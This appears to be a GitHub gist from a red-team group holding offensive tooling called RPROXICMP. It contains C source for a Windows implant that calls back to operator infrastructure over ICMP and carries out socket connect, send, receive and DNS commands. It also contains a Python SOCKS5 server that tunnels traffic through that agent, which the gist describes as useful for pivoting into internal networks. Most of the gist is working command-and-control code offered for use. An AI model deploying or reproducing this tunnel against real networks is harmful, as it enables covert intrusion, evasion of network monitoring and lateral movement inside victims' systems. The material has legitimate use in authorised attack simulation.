Created
March 29, 2023 16:40
-
-
Save realoriginal/118afddcf44070186c2af8141e1b2464 to your computer and use it in GitHub Desktop.
TLDR: How a socks proxy client is written to tunnel connections from a 'teamserver' to an agent.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*! | |
* | |
* RPROXICMP | |
* | |
* GuidePoint Security LLC | |
* | |
* Threat and Attack Simulation Team | |
* | |
!*/ | |
#include "Common.h" | |
typedef struct __attribute__(( packed )) | |
{ | |
UINT32 AgentId; | |
} RPROXICMP_TASK_RES_NONE, *PRPROXICMP_TASK_RES_NONE ; | |
typedef struct __attribute__(( packed )) | |
{ | |
UINT32 Ioctl; | |
UINT32 TaskId; | |
UINT32 Length; | |
UINT8 Buffer[ 0 ]; | |
} RPROXICMP_TASK_REQUEST, *PRPROXICMP_TASK_REQUEST ; | |
typedef struct __attribute__(( packed )) | |
{ | |
UINT32 AgentId; | |
UINT32 TaskId; | |
BOOLEAN TskErr; | |
UINT32 WinErr; | |
UINT8 Buffer[ 0 ]; | |
} RPROXICMP_TASK_RESPONSE, *PRPROXICMP_TASK_RESPONSE ; | |
/*! | |
* | |
* Purpose: | |
* | |
* Connects back to the RPROXICMP infrastructure. and starts | |
* the send/recv loop. Either executes the action to connect, | |
* send or recv over a specified socket. | |
* | |
!*/ | |
D_SEC( B ) VOID WINAPI Entry( VOID ) | |
{ | |
UINT32 Max = 0; | |
UINT32 Min = 0; | |
UINT32 Ext = 0; | |
SIZE_T Len = 0; | |
BOOLEAN Res = FALSE; | |
PCONFIG Cfg = NULL; | |
PBUFFER Out = NULL; | |
PBUFFER Rcv = NULL; | |
PBUFFER Snd = NULL; | |
PRPROXICMP_CTX Ctx = NULL; | |
PRPROXICMP_TASK_REQUEST Rtq = NULL; | |
PRPROXICMP_TASK_RES_NONE Non = NULL; | |
PRPROXICMP_TASK_RESPONSE Rtr = NULL; | |
#if defined( _WIN64 ) | |
Cfg = C_PTR( U_PTR( GetIp() ) + 11 ); | |
#else | |
Cfg = C_PTR( U_PTR( GetIp() ) + 10 ); | |
#endif | |
/* Set the exit mode! */ | |
Ext = Cfg->ExitMode; | |
/* Allocate a rproxicmp context structure */ | |
Ctx = MemoryAlloc( sizeof( RPROXICMP_CTX ) ); | |
if ( Ctx != NULL ) { | |
/* Set the established to FALSE */ | |
Ctx->Established = FALSE; | |
/* Set the exit mode */ | |
Ctx->Config.ExitMode = Cfg->ExitMode; | |
/* Set the agent ID */ | |
Ctx->AgentId = RandomInt32(); | |
/* Is the agent ID greater than 0? */ | |
if ( Ctx->AgentId > 0 ) { | |
/* Create the sending buffer */ | |
if ( ( Snd = BufferCreate() ) != NULL ) { | |
/* Create the recv buffer */ | |
if ( BufferExtend( Snd, sizeof( RPROXICMP_TASK_RESPONSE ) ) ) { | |
/* Initialize sthe dependencies */ | |
if ( DepInit( Ctx ) ) { | |
if ( Init( Ctx, Snd ) ) { | |
/* Modify the response header */ | |
Rtr = C_PTR( Snd->Buffer ); | |
Rtr->AgentId = Ctx->AgentId; | |
/* Create the response buffer */ | |
if ( ( Rcv = BufferCreate() ) != NULL ) { | |
if ( IcmpSendRecv( Snd, Rcv ) ) { | |
/* Do some further validation here! */ | |
Ctx->Established = TRUE; | |
}; | |
/* Free the response buffer! */ | |
BufferClear( Rcv ); | |
}; | |
}; | |
}; | |
}; | |
/* Clear the output buffer! */ | |
BufferClear( Snd ); | |
}; | |
}; | |
/* Did we establish a session? */ | |
while ( Ctx->Established != FALSE ) { | |
/* Create the output buffer */ | |
if ( ( Snd = BufferCreate() ) != NULL ) { | |
/* Extend to support the size of the buffer! */ | |
if ( BufferExtend( Snd, sizeof( RPROXICMP_TASK_RES_NONE ) ) ) { | |
/* Set the agent ID! */ | |
Non = C_PTR( Snd->Buffer ); | |
Non->AgentId = Ctx->AgentId; | |
/* Send to the listener! */ | |
if ( ( Rcv = BufferCreate() ) != NULL ) { | |
/* Send the agent ID & get the response */ | |
if ( ( Ctx->Established = IcmpSendRecv( Snd, Rcv ) ) ) { | |
Rtq = C_PTR( Rcv->Buffer ); | |
Len = Rcv->Length; | |
while ( Len != 0 ) { | |
if ( ( Out = BufferCreate() ) != NULL ) { | |
/* Extend to support the response! */ | |
if ( BufferExtend( Out, sizeof( RPROXICMP_TASK_RESPONSE ) ) ) { | |
/* What IOCTL was requested? */ | |
switch( Rtq->Ioctl ) { | |
case IOCTL_EXIT: | |
/* Exits the 'rproxicmp' agent from memory */ | |
Res = CtlExit( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out ); | |
break; | |
case IOCTL_CONNECT: | |
/* Connects to the target host:port */ | |
Res = CtlSockConnect( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out ); | |
break; | |
case IOCTL_RECV: | |
/* Reads data over a socket */ | |
Res = CtlSockRecv( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out ); | |
break; | |
case IOCTL_SEND: | |
/* Writes data over a socket */ | |
Res = CtlSockSend( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out ); | |
break; | |
case IOCTL_CLOSE: | |
/* Closes the socket descriptor */ | |
Res = CtlSockClose( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out ); | |
break; | |
case IOCTL_DNS_LOOKUP: | |
/* Lookups a DNS address for an IPV4 address */ | |
/* Note: Add seperate command for IPv6 */ | |
Res = CtlDnsLookup( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out ); | |
break; | |
default: | |
/* Invalid IOCTL requested */ | |
NtCurrentTeb()->LastErrorValue = STATUS_INVALID_PARAMETER; | |
Res = FALSE; | |
break; | |
}; | |
/* Set the packet header information */ | |
Rtr = C_PTR( Out->Buffer ); | |
Rtr->AgentId = Ctx->AgentId; | |
Rtr->TaskId = Rtq->TaskId; | |
Rtr->TskErr = Res; | |
Rtr->WinErr = NtCurrentTeb()->LastErrorValue; | |
/* Send the buffer back! */ | |
IcmpSendRecv( Out, NULL ); | |
}; | |
/* Clear the buffer ! */ | |
BufferClear( Out ); | |
}; | |
/* Subtract the request argumemt buffer and header size! */ | |
Len = Len - sizeof( RPROXICMP_TASK_REQUEST ) - Rtq->Length; | |
Rtq = C_PTR( U_PTR( Rtq->Buffer ) + Rtq->Length ); | |
}; | |
}; | |
/* Free the buffer */ | |
BufferClear( Rcv ); | |
}; | |
}; | |
/* Free the buffer */ | |
BufferClear( Snd ); | |
}; | |
}; | |
/* Frees the dependencies */ | |
DepFree( Ctx ); | |
/* Set the exit mode! */ | |
Ext = Ctx->Config.ExitMode; | |
/* Free the context structure */ | |
MemoryFree( Ctx ); | |
}; | |
/* Exits depending on the specified exit mode */ | |
Exit( Ext ); | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# rproxicmp | |
# | |
# GuidePoint Security LLC | |
# | |
# Threat and Attack Simulation Team | |
# | |
import click | |
import asyncio | |
import ipaddress | |
import click_params | |
import lib.rproxicmp_rpc | |
import lib.rproxicmp_arg | |
import lib.rproxicmp_static | |
import lib.rproxicmp_tunnel | |
from asysocks.protocol.socks5 import SOCKS5Nego | |
from asysocks.protocol.socks5 import SOCKS5Reply | |
from asysocks.protocol.socks5 import SOCKS5Method | |
from asysocks.protocol.socks5 import SOCKS5Request | |
from asysocks.protocol.socks5 import SOCKS5Command | |
from asysocks.protocol.socks5 import SOCKS5ReplyType | |
from asysocks.protocol.socks5 import SOCKS5NegoReply | |
from asysocks.protocol.socks5 import SOCKS5AddressType | |
class SockServer: | |
def __init__( self, bind_addr, bind_port, timeout, rpc_host, rpc_port, agent_id ): | |
""" | |
Initialies the internal variables the socks server uses to tunnel | |
the connection over connected agent. | |
""" | |
self.bind_addr = str( bind_addr ) | |
self.bind_port = bind_port | |
self.timeout = timeout | |
self.rpc_host = str( rpc_host ) | |
self.rpc_port = rpc_port | |
self.agent_id = agent_id | |
async def rd_agn_wr_cli( self, rpc_obj, agent_id, remote_sock, event, writer ): | |
""" | |
Reads from the remote file descriptor, and writes the | |
incoming data over the writer. | |
""" | |
try: | |
# have we been signalled to stop? | |
while not event.is_set(): | |
# Read what we can from the tunnel. | |
buf = await lib.rproxicmp_tunnel.tunnel_recv_async( rpc_obj, agent_id, remote_sock ); | |
# we have data | |
if buf != b'': | |
# write the result to the client socket | |
writer.write( buf ) | |
# drain the socket | |
await writer.drain() | |
except Exception as e: | |
print( e ) | |
finally: | |
# set the event to stop | |
event.set() | |
# return | |
return | |
async def rd_cli_wr_agn( self, rpc_obj, agent_id, remote_sock, event, reader ): | |
""" | |
Reads from the client and writes the result over the | |
remote file descriptor. | |
""" | |
try: | |
# we have not been signalled to stop | |
while not event.is_set(): | |
# read what we can from the buffer | |
buf = await reader.read( lib.rproxicmp_static.PROXY_MAX_LENGTH ) | |
# we have no data | |
if buf == b'' or buf is None: | |
return | |
# data recieved | |
await lib.rproxicmp_tunnel.tunnel_send_async( rpc_obj, agent_id, remote_sock, buf ) | |
except Exception as e: | |
print( e ) | |
finally: | |
# set the event to stop | |
event.set() | |
# return | |
return | |
async def handle_socks( self, reader, writer ): | |
""" | |
Determines if the incoming request is a SOCKS5 request. If it is | |
it will try to proxy the request. | |
""" | |
try: | |
tmp = await asyncio.wait_for( reader.readexactly( 1 ), timeout = self.timeout ) | |
except asyncio.exceptions.IncompleteReadError: | |
print( 'client terminated the socket before the socks negotiation completed.' ) | |
# is this socks5? | |
if tmp == b'\x05': | |
try: | |
nmt = await asyncio.wait_for( reader.readexactly( 1 ), timeout = self.timeout ) | |
tmt = int.from_bytes( nmt, byteorder = 'big', signed = False ) | |
met = await asyncio.wait_for( reader.readexactly( tmt ), timeout = self.timeout ) | |
cmd = SOCKS5Nego.from_bytes( tmp + nmt + met ) | |
# did we not recieve a no-auth command? | |
if SOCKS5Method.NOAUTH not in cmd.METHODS: | |
rep = SOCKS5NegoReply.construct( SOCKS5Method.NOTACCEPTABLE ); | |
writer.write( rep.to_bytes() ) | |
await writer.drain() | |
return | |
# send auth success | |
rep = SOCKS5NegoReply.construct( SOCKS5Method.NOAUTH ) | |
writer.write( rep.to_bytes() ) | |
await writer.drain() | |
# read the incoming command | |
req = await asyncio.wait_for( SOCKS5Request.from_streamreader( reader ), timeout = self.timeout ) | |
# did we recieve a connect request? | |
if req.CMD == SOCKS5Command.CONNECT and req.ATYP != SOCKS5AddressType.IP_V6: | |
# connect to the target host:port | |
rpc = lib.rproxicmp_rpc.RpcClient( self.rpc_host, self.rpc_port ) | |
if req.ATYP == SOCKS5AddressType.DOMAINNAME: | |
# lookup the internal domain name | |
ip4 = await lib.rproxicmp_tunnel.tunnel_dns_lookup_async( rpc, self.agent_id, req.DST_ADDR ) | |
else: | |
# use the passed address | |
ip4 = req.DST_ADDR | |
try: | |
# open a remote socket to the host | |
rfd = await lib.rproxicmp_tunnel.tunnel_connect_async( rpc, self.agent_id, ip4, req.DST_PORT ) | |
except Exception: | |
# notify we could not connect | |
rep = SOCKS5Reply.construct( SOCKS5ReplyType.FAILURE, req.DST_ADDR, req.DST_PORT ) | |
writer.write( rep.to_bytes() ) | |
await writer.drain() | |
return | |
else: | |
# notify we connected successfully! | |
rep = SOCKS5Reply.construct( SOCKS5ReplyType.SUCCEEDED, req.DST_ADDR, req.DST_PORT ) | |
writer.write( rep.to_bytes() ) | |
await writer.drain() | |
# create the stop event | |
evt = asyncio.Event() | |
# create the read/write loops between client and server | |
ts1 = asyncio.create_task( self.rd_cli_wr_agn( rpc, self.agent_id, rfd, evt, reader ) ) | |
ts2 = asyncio.create_task( self.rd_agn_wr_cli( rpc, self.agent_id, rfd, evt, writer ) ) | |
# wait for the event to be signalled | |
await evt.wait() | |
# cancel | |
ts1.cancel() | |
ts2.cancel() | |
# close the remote socket | |
await lib.rproxicmp_tunnel.tunnel_close_async( rpc, self.agent_id, rfd ); | |
# close the client socket | |
writer.close() | |
# return | |
return | |
except Exception as e: | |
print( e ) | |
else: | |
print( 'client requested an unsupported protocol.' ) | |
async def run( self ): | |
""" | |
Starts the SOCKS server to handle the incoming connections. | |
""" | |
srv = await asyncio.start_server( self.handle_socks, self.bind_addr, self.bind_port ) | |
await srv.wait_closed() | |
@click.command( name = 'rproxicmp-socks', short_help = 'Creates a SOCKS5 proxy server to tunnel over an agent.' ) | |
@lib.rproxicmp_arg.rproxicmp_arg | |
@click.option( '--agent-id', required = True, type = int, help = 'Agent identifier' ) | |
@click.option( '--socks-host', type = click_params.IPV4_ADDRESS, help = 'Address to bind the SOCKS5 server to.', show_default = True, default = '127.0.0.1' ) | |
@click.option( '--socks-port', type = int, help = 'Port to bind the SOCKS5 server to.', required = True ) | |
@click.option( '--socks-timeout', type = int, help = 'Number of seconds to allow for a client to timeout.', required = True ) | |
def rproxicmp_socks( rpc_host, rpc_port, agent_id, socks_host, socks_port, socks_timeout ): | |
""" | |
Creates a SOCKS5 server that will tunnel any connected client over a | |
ICMP agent connected to the RPROXICMP server. The agent will forward | |
the connection from its address to the requested host:port it can | |
connect to. | |
Useful for pivoting into internal networks, or combining other tools | |
that may not be available through rogue. | |
""" | |
Srv = SockServer( socks_host, socks_port, socks_timeout, rpc_host, rpc_port, agent_id ) | |
asyncio.run( Srv.run() ) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment